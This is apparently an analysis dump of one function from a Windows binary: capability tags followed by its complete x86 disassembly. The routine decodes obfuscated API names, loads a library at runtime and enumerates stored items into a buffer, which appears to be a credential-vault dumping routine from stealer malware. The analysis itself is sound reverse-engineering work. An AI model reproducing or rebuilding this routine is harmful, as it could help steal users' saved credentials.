Function at 0x414368
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push esi
push ebx
sub esp, 0x494
mov byte [esp + 0x44c], 0x42
mov byte [esp + 0x44d], 0xc4
mov byte [esp + 0x44e], 0xf4
mov byte [esp + 0x44f], 0x4b
mov byte [esp + 0x450], 0x8a
mov byte [esp + 0x451], 0x9b
mov byte [esp + 0x452], 0xa0
mov byte [esp + 0x453], 0x41
mov byte [esp + 0x454], 0xb3
mov byte [esp + 0x455], 0x80
mov byte [esp + 0x456], 0xdd
mov byte [esp + 0x457], 0x4a
mov byte [esp + 0x458], 0x70
mov byte [esp + 0x459], 0x4d
mov byte [esp + 0x45a], 0xdb
mov byte [esp + 0x45b], 0x28
mov byte [esp + 0x43c], 0x99
mov byte [esp + 0x43d], 0x54
mov byte [esp + 0x43e], 0xcd
mov byte [esp + 0x43f], 0x3c
mov byte [esp + 0x440], 0xa8
mov byte [esp + 0x441], 0x87
mov byte [esp + 0x442], 0x10
mov byte [esp + 0x443], 0x4b
mov byte [esp + 0x444], 0xa2
mov byte [esp + 0x445], 0x15
mov byte [esp + 0x446], 0x60
mov byte [esp + 0x447], 0x88
mov byte [esp + 0x448], 0x88
mov byte [esp + 0x449], 0xdd
mov byte [esp + 0x44a], 0x3b
mov byte [esp + 0x44b], 0x55
mov dword [esp + 0x438], 0
mov dword [esp + 0x48c], 0
mov eax, dword [esp + 0x4a0]
mov dword [eax], 0
mov dword [esp + 0x484], 0
mov dword [esp + 0x480], 0
mov dword [esp + 0x434], 0
mov dword [esp + 0x430], 0
mov dword [esp + 0x42c], 0
mov dword [esp + 0x428], 0
mov dword [esp + 0x47c], 0
mov dword [esp + 0x478], 0
mov dword [esp], str.2CQi5Yi4.Sii
call fcn.0040b60e
mov dword [esp], eax
call sub.KERNEL32.dll_LoadLibraryA
sub esp, 4
mov dword [esp + 0x480], eax
cmp dword [esp + 0x480], 0
jne 0x41451d
mov eax, 0
jmp 0x414de1
mov dword [esp], str.zCQi5TsdRzCQi5
call fcn.0040b60e
mov dword [esp + 4], eax
mov eax, dword [esp + 0x480]
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [esp + 0x474], eax
mov dword [esp], str.zCQi5PiW6dzCQi5
call fcn.0040b60e
mov dword [esp + 4], eax
mov eax, dword [esp + 0x480]
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [esp + 0x470], eax
mov dword [esp], str.zCQi5jRQld0C5dX5dl6
call fcn.0040b60e
mov dword [esp + 4], eax
mov eax, dword [esp + 0x480]
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [esp + 0x46c], eax
mov dword [esp], str.zCQi5Ed5X5dl
call fcn.0040b60e
mov dword [esp + 4], eax
mov eax, dword [esp + 0x480]
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [esp + 0x468], eax
mov dword [esp], str.zCQi5Ed5X5dl
call fcn.0040b60e
mov dword [esp + 4], eax
mov eax, dword [esp + 0x480]
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [esp + 0x464], eax
mov dword [esp], str.zCQi5_0dd
call fcn.0040b60e
mov dword [esp + 4], eax
mov eax, dword [esp + 0x480]
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [esp + 0x460], eax
cmp dword [esp + 0x474], 0
sete dl
cmp dword [esp + 0x46c], 0
sete al
or eax, edx
movzx edx, al
cmp dword [esp + 0x470], 0
sete al
movzx eax, al
or edx, eax
cmp dword [esp + 0x468], 0
sete al
movzx eax, al
or edx, eax
cmp dword [esp + 0x464], 0
sete al
movzx eax, al
or edx, eax
cmp dword [esp + 0x460], 0
sete al
movzx eax, al
or eax, edx
test eax, eax
jne 0x414d62
lea eax, [esp + 0x434]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
lea eax, [esp + 0x44c]
mov dword [esp], eax
mov eax, dword [esp + 0x474]
call eax
sub esp, 0xc
mov dword [esp + 0x484], eax
cmp dword [esp + 0x484], 0
jne 0x414d65
mov eax, dword [esp + 0x434]
lea edx, [esp + 0x42c]
mov dword [esp + 0xc], edx
lea edx, [esp + 0x430]
mov dword [esp + 8], edx
mov dword [esp + 4], 0x200
mov dword [esp], eax
mov eax, dword [esp + 0x46c]
call eax
sub esp, 0x10
mov dword [esp + 0x484], eax
cmp dword [esp + 0x484], 0
jne 0x414d68
mov eax, dword [esp + 0x430]
test eax, eax
je 0x414d6b
call fcn.0041b0ec
cmp eax, 0x14
je 0x41474c
call fcn.0041b0ec
cmp eax, 0x16
je 0x41474c
call fcn.0041b0ec
cmp eax, 0x15
je 0x41474c
call fcn.0041b0ec
cmp eax, 0x18
je 0x41474c
call fcn.0041b0ec
cmp eax, 0x17
je 0x41474c
call fcn.0041b0ec
cmp eax, 0x19
jne 0x414a62
mov dword [esp + 0x488], 0
jmp 0x414a49
mov edx, dword [esp + 0x42c]
mov eax, dword [esp + 0x488]
shl eax, 3
lea ecx, [eax*8]
sub ecx, eax
mov eax, ecx
add eax, edx
mov dword [esp + 0x478], eax
mov eax, dword [esp + 0x478]
mov dword [esp + 8], 0x10
lea edx, [esp + 0x43c]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.0041a53c
test eax, eax
jne 0x414a41
mov eax, dword [esp + 0x478]
mov eax, dword [eax + 0x10]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x100
lea edx, [esp + 0x328]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.KERNEL32.dll_WideCharToMultiByte
sub esp, 0x20
mov eax, dword [esp + 0x478]
mov eax, dword [eax + 0x14]
add eax, 0x20
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x100
lea edx, [esp + 0x228]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.KERNEL32.dll_WideCharToMultiByte
sub esp, 0x20
mov eax, dword [esp + 0x478]
mov eax, dword [eax + 0x18]
add eax, 0x20
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x100
lea edx, [esp + 0x128]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.KERNEL32.dll_WideCharToMultiByte
sub esp, 0x20
mov dword [esp + 0x428], 0
mov eax, dword [esp + 0x478]
mov eax, dword [eax + 0x18]
mov ebx, eax
mov eax, dword [esp + 0x478]
mov eax, dword [eax + 0x14]
mov ecx, eax
mov edx, dword [esp + 0x478]
mov eax, dword [esp + 0x434]
lea esi, [esp + 0x428]
mov dword [esp + 0x1c], esi
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], ebx
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [esp + 0x464]
call eax
sub esp, 0x20
mov dword [esp + 0x484], eax
cmp dword [esp + 0x484], 0
jne 0x414a20
mov eax, dword [esp + 0x428]
mov dword [esp + 0x478], eax
mov eax, dword [esp + 0x478]
mov eax, dword [eax + 0x1c]
add eax, 0x20
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x100
lea edx, [esp + 0x28]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.KERNEL32.dll_WideCharToMultiByte
sub esp, 0x20
mov dword [esp + 0x24], 0
lea eax, [esp + 0x28]
mov dword [esp + 0x14], eax
lea eax, [esp + 0x128]
mov dword [esp + 0x10], eax
lea eax, [esp + 0x228]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 2
mov dword [esp + 4], str._c_s_a_s:_s_b_b_b_b
lea eax, [esp + 0x24]
mov dword [esp], eax
call fcn.00419f10
mov dword [esp + 0x45c], eax
cmp dword [esp + 0x45c], 0xffffffff
je 0x414a20
mov dword [esp + 0x10], 1
mov eax, dword [esp + 0x45c]
mov dword [esp + 0xc], eax
lea eax, [esp + 0x24]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x48c]
mov dword [esp + 4], eax
lea eax, [esp + 0x438]
mov dword [esp], eax
call fcn.0041a022
mov dword [esp + 0x438], eax
mov eax, dword [esp + 0x45c]
add dword [esp + 0x48c], eax
mov eax, dword [esp + 0x428]
test eax, eax
je 0x414a41
mov eax, dword [esp + 0x428]
mov dword [esp], eax
mov eax, dword [esp + 0x460]
call eax
sub esp, 4
add dword [esp + 0x488], 1
mov eax, dword [esp + 0x430]
cmp dword [esp + 0x488], eax
jb 0x41475c
jmp 0x414d6c
mov dword [esp + 0x488], 0
jmp 0x414d4c
mov edx, dword [esp + 0x42c]
mov eax, dword [esp + 0x488]
imul eax, eax, 0x34
add eax, edx
mov dword [esp + 0x47c], eax
mov eax, dword [esp + 0x47c]
mov dword [esp + 8], 0x10
lea edx, [esp + 0x43c]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.0041a53c
test eax, eax
jne 0x414d44
mov eax, dword [esp + 0x47c]
mov eax, dword [eax + 0x10]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x100
lea edx, [esp + 0x328]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.KERNEL32.dll_WideCharToMultiByte
sub esp, 0x20
mov eax, dword [esp + 0x47c]
mov eax, dword [eax + 0x14]
add eax, 0x20
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x100
lea edx, [esp + 0x228]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.KERNEL32.dll_WideCharToMultiByte
sub esp, 0x20
mov eax, dword [esp + 0x47c]
mov eax, dword [eax + 0x18]
add eax, 0x20
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x100
lea edx, [esp + 0x128]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.KERNEL32.dll_WideCharToMultiByte
sub esp, 0x20
mov dword [esp + 0x428], 0
mov eax, dword [esp + 0x47c]
mov eax, dword [eax + 0x18]
mov ebx, eax
mov eax, dword [esp + 0x47c]
mov eax, dword [eax + 0x14]
mov ecx, eax
mov edx, dword [esp + 0x47c]
mov eax, dword [esp + 0x434]
lea esi, [esp + 0x428]
mov dword [esp + 0x18], esi
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], ebx
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [esp + 0x468]
call eax
sub esp, 0x1c
mov dword [esp + 0x484], eax
cmp dword [esp + 0x484], 0
jne 0x414d23
mov eax, dword [esp + 0x428]
mov dword [esp + 0x47c], eax
mov eax, dword [esp + 0x47c]
mov eax, dword [eax + 0x1c]
add eax, 0x20
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x100
lea edx, [esp + 0x28]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.KERNEL32.dll_WideCharToMultiByte
sub esp, 0x20
mov dword [esp + 0x20], 0
lea eax, [esp + 0x28]
mov dword [esp + 0x14], eax
lea eax, [esp + 0x128]
mov dword [esp + 0x10], eax
lea eax, [esp + 0x228]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 2
mov dword [esp + 4], str._c_s_a_s:_s_b_b_b_b
lea eax, [esp + 0x20]
mov dword [esp], eax
call fcn.00419f10
mov dword [esp + 0x45c], eax
cmp dword [esp + 0x45c], 0xffffffff
je 0x414d23
mov dword [esp + 0x10], 1
mov eax, dword [esp + 0x45c]
mov dword [esp + 0xc], eax
lea eax, [esp + 0x20]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x48c]
mov dword [esp + 4], eax
lea eax, [esp + 0x438]
mov dword [esp], eax
call fcn.0041a022
mov dword [esp + 0x438], eax
mov eax, dword [esp + 0x45c]
add dword [esp + 0x48c], eax
mov eax, dword [esp + 0x428]
test eax, eax
je 0x414d44
mov eax, dword [esp + 0x428]
mov dword [esp], eax
mov eax, dword [esp + 0x460]
call eax
sub esp, 4
add dword [esp + 0x488], 1
mov eax, dword [esp + 0x430]
cmp dword [esp + 0x488], eax
jb 0x414a72
jmp 0x414d6c
nop
jmp 0x414d6c
nop
jmp 0x414d6c
nop
jmp 0x414d6c
nop
mov eax, dword [esp + 0x42c]
test eax, eax
je 0x414d8d
mov eax, dword [esp + 0x42c]
mov dword [esp], eax
mov eax, dword [esp + 0x460]
call eax
sub esp, 4
mov eax, dword [esp + 0x434]
test eax, eax
je 0x414dae
lea eax, [esp + 0x434]
mov dword [esp], eax
mov eax, dword [esp + 0x470]
call eax
sub esp, 4
cmp dword [esp + 0x480], 0
je 0x414dca
mov eax, dword [esp + 0x480]
mov dword [esp], eax
call sub.KERNEL32.dll_FreeLibrary
sub esp, 4
mov eax, dword [esp + 0x4a0]
mov edx, dword [esp + 0x48c]
mov dword [eax], edx
mov eax, dword [esp + 0x438]
add esp, 0x494
pop ebx
pop esi
ret